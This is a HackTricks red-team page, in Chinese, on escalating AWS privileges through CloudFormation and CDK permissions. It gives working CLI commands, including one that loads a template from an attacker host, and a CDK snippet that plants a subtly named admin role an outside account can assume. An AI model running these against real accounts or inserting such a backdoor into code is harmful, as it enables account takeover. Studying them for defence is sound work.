AWS - Cloudformation Privesc

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

cloudformation

有关 cloudformation 的更多信息,请查看:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

具有这些权限的攻击者 可以提升权限,通过制作一个 CloudFormation stack,使用托管在其服务器上的自定义模板,以指定角色的权限执行操作:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

在以下页面中,您有一个 利用示例,附加权限为 cloudformation:DescribeStacks

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

潜在影响: 提升到指定的 cloudformation 服务角色。

iam:PassRole,(cloudformation:UpdateStack | cloudformation:SetStackPolicy)

在这种情况下,您可以 滥用现有的 cloudformation 堆栈 来更新它并提升权限,如前面的场景所示:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

cloudformation:SetStackPolicy 权限可以用来 给自己 UpdateStack 权限 以便对一个堆栈进行攻击。

潜在影响: 对指定的 cloudformation 服务角色进行权限提升。

cloudformation:UpdateStack | cloudformation:SetStackPolicy

如果你拥有这个权限但 没有 iam:PassRole,你仍然可以 更新使用的堆栈 并滥用 它们已经附加的 IAM 角色。查看前面的部分以获取利用示例(只需在更新中不指明任何角色)。

cloudformation:SetStackPolicy 权限可以用来 给自己 UpdateStack 权限 以便对一个堆栈进行攻击。

潜在影响: 对已经附加的 cloudformation 服务角色进行权限提升。

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

拥有 传递角色和创建 & 执行 ChangeSet 权限的攻击者可以 创建/更新一个新的 cloudformation 堆栈,滥用 cloudformation 服务角色,就像使用 CreateStack 或 UpdateStack 一样。

以下利用是 变体 CreateStack 的,使用 ChangeSet 权限 来创建一个堆栈。

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

cloudformation:SetStackPolicy 权限可以用来 给自己 ChangeSet 权限 以便对堆栈执行攻击。

潜在影响: 对 cloudformation 服务角色的权限提升。

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

这与之前的方法类似,不需要传递 IAM 角色,因此你可以 滥用已经附加的角色,只需修改参数:

--change-set-type UPDATE

潜在影响: 提升到已附加的 cloudformation 服务角色。

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

攻击者可以滥用这些权限来创建/更新 StackSets,以滥用任意 cloudformation 角色。

潜在影响: 提升到 cloudformation 服务角色。

cloudformation:UpdateStackSet

攻击者可以在没有 passRole 权限的情况下滥用此权限来更新 StackSets,以滥用附加的 cloudformation 角色。

潜在影响: 提升到附加的 cloudformation 角色。

AWS CDK

AWS cdk 是一个工具包,允许用户使用他们已经熟悉的语言定义基础设施即代码,并轻松重用部分代码。然后,CDK 将高级代码(即 python)转换为 Cloudformation 模板(yaml 或 json)。

为了使用 CDK,管理员用户必须首先引导账户,这会创建几个 IAM 角色,包括具有 */* 权限的 exec role。这些角色遵循命名结构 cdk-<qualifier>-<name>-<account-id>-<region>。引导必须在每个账户的每个区域执行一次。

默认情况下,CDK 用户没有权限列出使用 CDK 所需的角色,这意味着您需要手动确定它们。如果您入侵了开发者的机器或某个 CI/CD 节点,这些角色可以被假设以授予您部署 CFN 模板的能力,使用 cfn-exec 角色允许 CFN 部署任何资源,完全控制账户。

确定角色名称

如果您拥有 cloudformation:DescribeStacks,角色在名为 CDKToolkit 的堆栈中定义,您可以从那里提取名称。

如果您在用于构建和部署 CDK 项目的机器上,可以从项目根目录中的 cdk.out/manafest.json 中提取它们。

您也可以对它们做出合理的猜测。qualifier 是添加到角色中的字符串,允许同时部署多个 CDK 引导实例,但默认值硬编码为 hnb659fds

# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>

向项目源添加恶意代码

如果您可以写入项目源,但无法自己部署(例如,开发人员通过 CI/CD 部署代码,而不是本地机器),您仍然可以通过向堆栈添加恶意资源来破坏环境。以下内容将一个可以被攻击者账户假设的 IAM 角色添加到 python CDK 项目中。

class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)

# ----------
# Some existing code.....
# ----------

role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)

参考

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks